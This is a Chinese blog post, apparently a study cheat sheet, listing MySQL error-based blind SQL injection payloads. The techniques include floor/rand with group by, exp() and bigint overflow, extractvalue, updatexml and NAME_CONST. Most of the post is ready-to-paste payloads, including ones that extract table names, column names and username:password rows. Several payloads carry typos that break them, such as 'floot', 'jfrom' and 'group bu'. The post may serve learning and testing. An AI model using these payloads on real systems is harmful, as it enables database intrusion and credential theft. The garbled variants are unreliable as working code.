sql盲注----构造payload 让信息通过错误提示回显出来

基于报错的sql盲注----构造payload 让信息通过错误提示回显出来
select 1, count(*), concat(0x3a,0x3a,(select user()),0x3a,0x3a,floot(rand(0)*2))a jfrom information_schema.columns group by a;

//explain:此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的重复,三是 group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需要多试几次

简化形式如下:

select count(*) from infromation_schema.tables group by concat(version(), floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group bu concat(version(),floor(0)*2)

如果rand被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

select exp(~(select * from (select user())a))
//double数值类型超出范围,exp()为以e为底的对数函数;版本在5.5.5及其以上

得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

检索数据:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

参考文章:https://www.cnblogs.com/lcamry/articles/5509124.html

select !(select * from (select user())x) - ~0

//bigint 超出范围:~0是对0的逐位取反 版本5.5.5以上

利用最大整数无法处理引发报错

首先,我们来获取表名:

!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0

取得列名:

select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;

检索数据:

!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;

参考文章: https://www.cnblogs.com/lcamry/articles/5509112.html

extractvalue(1,concat(0x7e,(select @@version),0x7e))

//mysql对xml数据进行查询和修改的xpath函数,xpath语法错误

updatexml(1,concat(0x7e,(select @@version),0x7e),1)

//mysql对xml数据进行查询和修改的xpath函数,xpath语法错误

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

//mysql重复特性,此处重复了version,所以报错

个人自建blog:
http://pigdaqiang.top
http://texttxet.github.io
简书blog:
https://www.jianshu.com/p/a3f16067044e

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值